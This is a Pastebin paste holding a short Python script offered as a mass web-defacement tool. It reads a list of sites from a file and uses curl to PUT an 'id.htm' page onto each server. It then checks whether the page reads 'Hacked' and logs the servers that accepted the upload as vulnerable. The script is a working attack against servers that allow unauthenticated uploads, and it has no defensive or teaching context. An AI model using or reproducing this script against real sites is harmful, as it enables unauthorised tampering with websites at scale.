Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import os, requests
- no = 0
- k = open("web.txt","r").readlines()
- for x in k:
- x = x.strip()
- a = os.system(f"curl -T id.htm {x}")
- try:
- b = requests.get(x+"/id.htm").text
- except:
- continue
- if 'Hacked' in b:
- no += 1
- print(f"[{no}] Vuln ~> {x}/id.htm")
- z = open("m.txt","a")
- z.write(f"\n{x}/id.htm")
- z.close()
- else:
- print(f"ERROR ~> {x}")
Advertisement
Add Comment
Please, Sign In to add comment